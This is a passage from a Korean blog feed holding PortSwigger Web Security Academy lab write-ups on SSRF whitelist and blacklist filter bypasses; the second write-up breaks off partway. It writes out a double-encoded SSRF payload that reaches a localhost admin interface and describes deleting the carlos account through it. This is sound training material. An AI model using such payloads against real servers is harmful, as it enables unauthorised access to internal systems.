&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6eMau/dJMcadoVthn/u1mTsRpAm3Ib70ncRUgeYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6eMau/dJMcadoVthn/u1mTsRpAm3Ib70ncRUgeYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6eMau/dJMcadoVthn/u1mTsRpAm3Ib70ncRUgeYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6eMau%2FdJMcadoVthn%2Fu1mTsRpAm3Ib70ncRUgeYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;420&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 96px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 96px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 96px;&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt; &lt;br /&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;http://localhost%25%32%33@stock.weliketoshop.net:8080/admin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt;&lt;br /&gt;# 기호를 이중 인코딩 하지 않은 페이로드인&amp;nbsp; &lt;br /&gt;&lt;b&gt;http://localhost#@stock.weliketoshop.net:8080/admin&amp;nbsp;&lt;/b&gt;&lt;br /&gt;을 사용하여 요청을 전송하게 되면 # 기호 뒤의 값들은 stockApi 파라미터 값을 URL 파싱 하는 과정에서 Fragment 처리가 되어 서버로 전송되지 않기 때문에 호스트가 stock.weliketoshop.net로 인식되지 않아 필터링에 걸리게 됩니다. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;#&amp;nbsp;기호를&amp;nbsp;이중&amp;nbsp;인코딩을&amp;nbsp;하고&amp;nbsp;요청을&amp;nbsp;보내면&amp;nbsp;form&amp;nbsp;데이터를&amp;nbsp;처리하는&amp;nbsp;과정에서&amp;nbsp;%25%32%33을&amp;nbsp;디코딩&amp;nbsp;하게&amp;nbsp;되고&amp;nbsp;서버가&amp;nbsp;입력&amp;nbsp;값을&amp;nbsp;검증할&amp;nbsp;때&amp;nbsp;비교하는&amp;nbsp;값은&amp;nbsp; &lt;br /&gt;&lt;b&gt;http://localhost%23@stock.weliketoshop.net:8080/admin&amp;nbsp;&lt;/b&gt;&lt;br /&gt;이 됩니다. 즉 %23은 # 기호가 아닌 그냥 문자열 취급을 받기 때문에 %23뒤에는 Fragment 처리가 되지 않습니다. 이 과정에서 @ 기호를 기준으로 앞부분은 사용자 인증 정보 뒷부분은 실제 접속 호스트로 해석하게 됩니다.&lt;br /&gt;&lt;br /&gt;서버는&amp;nbsp;@&amp;nbsp;기호로&amp;nbsp;인해&amp;nbsp;호스트가&amp;nbsp;stock.weliketoshop.net인&amp;nbsp;것으로&amp;nbsp;확인했기&amp;nbsp;때문에&amp;nbsp;필터링&amp;nbsp;검사를&amp;nbsp;통과시키게&amp;nbsp;됩니다.&amp;nbsp;이때&amp;nbsp;또&amp;nbsp;중요한&amp;nbsp;점이&amp;nbsp;있는데&amp;nbsp;서버가&amp;nbsp;stockApi&amp;nbsp;파라미터&amp;nbsp;값을&amp;nbsp;받아서&amp;nbsp;실제&amp;nbsp;요청을&amp;nbsp;전송할&amp;nbsp;때&amp;nbsp;URL이&amp;nbsp;디코딩&amp;nbsp;되어&amp;nbsp;%23이&amp;nbsp;한번&amp;nbsp;더&amp;nbsp;디코딩&amp;nbsp;되고&amp;nbsp;#&amp;nbsp;기호로&amp;nbsp;해석되는&amp;nbsp;것으로&amp;nbsp;보인다는&amp;nbsp;점입니다.&lt;br /&gt;&lt;br /&gt;정리하면&amp;nbsp;stockApi&amp;nbsp;값&amp;nbsp;검사&amp;nbsp;과정에서&amp;nbsp;호스트가&amp;nbsp;stock.weliketoshop.net으로&amp;nbsp;해석되어&amp;nbsp;필터링을&amp;nbsp;통과하고&amp;nbsp;실제&amp;nbsp;요청을&amp;nbsp;하는&amp;nbsp;과정에서&amp;nbsp;%23이&amp;nbsp;한&amp;nbsp;번&amp;nbsp;더&amp;nbsp;디코딩&amp;nbsp;되어&amp;nbsp;#&amp;nbsp;기호처럼&amp;nbsp;해석됩니다.&amp;nbsp;이&amp;nbsp;경우&amp;nbsp;&lt;b&gt;http://localhost#@stock.weliketoshop.net:8080/admin&lt;/b&gt;&amp;nbsp;이&amp;nbsp;되고&amp;nbsp;#&amp;nbsp;기호&amp;nbsp;뒤에는&amp;nbsp;Fragment&amp;nbsp;처리가&amp;nbsp;되어&amp;nbsp;localhost의&amp;nbsp;admin&amp;nbsp;인터페이스에&amp;nbsp;접근이&amp;nbsp;가능해집니다.&amp;nbsp;따라서&amp;nbsp;외부에서&amp;nbsp;접근이&amp;nbsp;불가능한&amp;nbsp;내부&amp;nbsp;주소를&amp;nbsp;서버가&amp;nbsp;대신&amp;nbsp;요청하여&amp;nbsp;접근을&amp;nbsp;가능하게&amp;nbsp;했으므로&amp;nbsp;SSRF&amp;nbsp;취약점이&amp;nbsp;존재한다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;응답에서&amp;nbsp;Raw를&amp;nbsp;클릭하고&amp;nbsp;carlos&amp;nbsp;계정&amp;nbsp;삭제&amp;nbsp;버튼을&amp;nbsp;찾은&amp;nbsp;뒤&amp;nbsp;해당&amp;nbsp;URL을&amp;nbsp;복사합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFRVy6/dJMcaiX30LI/kMWmmK1zkUgbJ2wivaQCBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFRVy6/dJMcaiX30LI/kMWmmK1zkUgbJ2wivaQCBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFRVy6/dJMcaiX30LI/kMWmmK1zkUgbJ2wivaQCBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFRVy6%2FdJMcaiX30LI%2FkMWmmK1zkUgbJ2wivaQCBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;423&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi&amp;nbsp;파라미터에&amp;nbsp;복사했던&amp;nbsp;carlos&amp;nbsp;계정&amp;nbsp;삭제&amp;nbsp;URL을&amp;nbsp;admin&amp;nbsp;인터페이스&amp;nbsp;경로에&amp;nbsp;추가하여&amp;nbsp;요청을&amp;nbsp;전송합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nQhIV/dJMcaa6VptS/Cbx1nKE0atw3ZDm2zeLKLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nQhIV/dJMcaa6VptS/Cbx1nKE0atw3ZDm2zeLKLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nQhIV/dJMcaa6VptS/Cbx1nKE0atw3ZDm2zeLKLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnQhIV%2FdJMcaa6VptS%2FCbx1nKE0atw3ZDm2zeLKLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;419&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이전&amp;nbsp;과정을&amp;nbsp;끝내고&amp;nbsp;웹&amp;nbsp;사이트로&amp;nbsp;돌아가&amp;nbsp;보면&amp;nbsp;문제가&amp;nbsp;클리어&amp;nbsp;된&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6Neja/dJMcab5MNBa/7lYYAnOFLsC6gtKvZ5eUi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6Neja/dJMcab5MNBa/7lYYAnOFLsC6gtKvZ5eUi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6Neja/dJMcab5MNBa/7lYYAnOFLsC6gtKvZ5eUi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6Neja%2FdJMcab5MNBa%2F7lYYAnOFLsC6gtKvZ5eUi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin 인터페이스에 다시 접속해 보면 실제로 carlos의 계정이 삭제된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;563&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdZEP3/dJMcaay4qpz/Ig2IFjyVfr7Pao0rq3qLDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdZEP3/dJMcaay4qpz/Ig2IFjyVfr7Pao0rq3qLDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdZEP3/dJMcaay4qpz/Ig2IFjyVfr7Pao0rq3qLDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdZEP3%2FdJMcaay4qpz%2FIg2IFjyVfr7Pao0rq3qLDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;423&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;563&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>SSRF</category>
      <category>SSRF bypass</category>
      <category>ssrf whitelist-based filter bypass</category>
      <category>ssrf 필터링 우회</category>
      <category>ssrf 화이트 리스트 필터링 우회</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/35</guid>
      <comments>https://code000.tistory.com/entry/Lab-SSRF-with-whitelist-based-input-filter#entry35comment</comments>
      <pubDate>Fri, 26 Jun 2026 23:20:13 +0900</pubDate>
    </item>
    <item>
      <title>Lab: SSRF with blacklist-based input filter</title>
      <link>https://code000.tistory.com/entry/Lab-SSRF-with-blacklist-based-input-filter</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; admin 인터페이스에 접근하여 carlos 계정을 삭제하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당&amp;nbsp;문제를&amp;nbsp;풀기&amp;nbsp;위해서는&amp;nbsp;admin&amp;nbsp;인터페이스에&amp;nbsp;접근해서&amp;nbsp;carlos의&amp;nbsp;계정을&amp;nbsp;삭제해야&amp;nbsp;합니다.&amp;nbsp;강도가&amp;nbsp;낮은&amp;nbsp;SSRF&amp;nbsp;방어&amp;nbsp;로직을&amp;nbsp;사용&amp;nbsp;중이며&amp;nbsp;우회를&amp;nbsp;할&amp;nbsp;필요가&amp;nbsp;있다고&amp;nbsp;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - Lab:&amp;nbsp;SSRF&amp;nbsp;with&amp;nbsp;blacklist-based&amp;nbsp;input&amp;nbsp;filter&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭하여&amp;nbsp;랩에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKpeAc/dJMcacp4v4p/BKyH9AbOvrjZUKImkXBIk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKpeAc/dJMcacp4v4p/BKyH9AbOvrjZUKImkXBIk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKpeAc/dJMcacp4v4p/BKyH9AbOvrjZUKImkXBIk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKpeAc%2FdJMcacp4v4p%2FBKyH9AbOvrjZUKImkXBIk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹&amp;nbsp;사이트에&amp;nbsp;접속한&amp;nbsp;뒤&amp;nbsp;게시물&amp;nbsp;중&amp;nbsp;하나를&amp;nbsp;택해서&amp;nbsp;View&amp;nbsp;details를&amp;nbsp;클릭하여&amp;nbsp;게시물로&amp;nbsp;이동합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2_View details를 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dS0a6G/dJMcaaMv8b6/gOPj8k73OI3hMwKyGGaZkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dS0a6G/dJMcaaMv8b6/gOPj8k73OI3hMwKyGGaZkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dS0a6G/dJMcaaMv8b6/gOPj8k73OI3hMwKyGGaZkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdS0a6G%2FdJMcaaMv8b6%2FgOPj8k73OI3hMwKyGGaZkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-filename=&quot;2_View details를 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Check&amp;nbsp;stock&amp;nbsp;버튼을&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3_접속해서 내려보면 check stock가 있음 이거 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8f5py/dJMcabR9u8Q/ElnQ8XsFxDn8i2gmKEgZ6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8f5py/dJMcabR9u8Q/ElnQ8XsFxDn8i2gmKEgZ6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8f5py/dJMcabR9u8Q/ElnQ8XsFxDn8i2gmKEgZ6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8f5py%2FdJMcabR9u8Q%2FElnQ8XsFxDn8i2gmKEgZ6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-filename=&quot;3_접속해서 내려보면 check stock가 있음 이거 클릭.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4_cehck stock 클릭했을 때 요청을 burp repeater에 세팅.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;451&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3uk2h/dJMcajo3H2G/eRHKg2og2sgEmITevtwBkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3uk2h/dJMcajo3H2G/eRHKg2og2sgEmITevtwBkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3uk2h/dJMcajo3H2G/eRHKg2og2sgEmITevtwBkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3uk2h%2FdJMcajo3H2G%2FeRHKg2og2sgEmITevtwBkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;425&quot; data-filename=&quot;4_cehck stock 클릭했을 때 요청을 burp repeater에 세팅.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;451&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 유효하지 않은 URL이라는 응답 메시지가 반환되며 외부 주소에서는 접근이 불가능하다는 것을 알 수 있습니다. &lt;span style=&quot;color: #9d9d9d;&quot;&gt;(요청을 아래로 내리면 stockApi 파라미터가 있습니다.)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;stockApi&amp;nbsp;파라미터&amp;nbsp;값은&amp;nbsp;서버가&amp;nbsp;재고&amp;nbsp;확인&amp;nbsp;API로&amp;nbsp;요청을&amp;nbsp;보내기&amp;nbsp;위해&amp;nbsp;사용하는&amp;nbsp;URL입니다.&amp;nbsp;응답을&amp;nbsp;보면&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있듯이&amp;nbsp;admin&amp;nbsp;인터페이스의&amp;nbsp;경우&amp;nbsp;외부&amp;nbsp;주소에서는&amp;nbsp;접근이&amp;nbsp;불가능하기&amp;nbsp;때문에&amp;nbsp;접속할&amp;nbsp;수&amp;nbsp;없는&amp;nbsp;상황입니다. &lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5_요청을 쭉 확인해보면 아래에 stockApi가 있음 여기에 locahost admin 입력.png&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/up4DD/dJMcajo3H8v/aWGGPpkywXNFvlupEZMVF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/up4DD/dJMcajo3H8v/aWGGPpkywXNFvlupEZMVF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/up4DD/dJMcajo3H8v/aWGGPpkywXNFvlupEZMVF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fup4DD%2FdJMcajo3H8v%2FaWGGPpkywXNFvlupEZMVF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;420&quot; data-filename=&quot;5_요청을 쭉 확인해보면 아래에 stockApi가 있음 여기에 locahost admin 입력.png&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi 파라미터의 값을 임의의 URL로 바꾸고 응답을 확인해 보면 연결 에러 응답을 받고 있는 것을 확인해 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;stockApi&amp;nbsp;파라미터에&amp;nbsp;입력했던&amp;nbsp;URL을&amp;nbsp;보면&amp;nbsp;결과는&amp;nbsp;다음과&amp;nbsp;같았습니다. &lt;br /&gt;&lt;br /&gt;stockApi=http://localhost/admin&amp;nbsp;&lt;b&gt;(접근&amp;nbsp;불가,&amp;nbsp;차단&amp;nbsp;메시지)&lt;/b&gt; &lt;br /&gt;stockApi=http://test/test&amp;nbsp;&lt;b&gt;(연결&amp;nbsp;에러)&lt;/b&gt;&lt;br /&gt;&lt;br 